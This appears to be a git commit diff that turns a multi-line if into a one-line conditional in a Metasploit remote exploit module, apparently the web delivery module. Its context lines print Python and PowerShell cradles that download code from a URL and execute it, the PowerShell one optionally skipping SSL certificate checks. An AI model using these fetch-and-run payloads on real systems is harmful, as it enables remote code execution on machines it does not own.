one line if statement
parent
b41e259252
commit
40c1fb814e
|
@ -88,9 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
when 'Python'
|
when 'Python'
|
||||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||||
when 'PSH'
|
when 'PSH'
|
||||||
if ssl
|
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||||
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate
|
|
||||||
end
|
|
||||||
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||||
print_line generate_psh_command_line(
|
print_line generate_psh_command_line(
|
||||||
noprofile: true,
|
noprofile: true,
|
||||||
|
|
Loading…
Reference in New Issue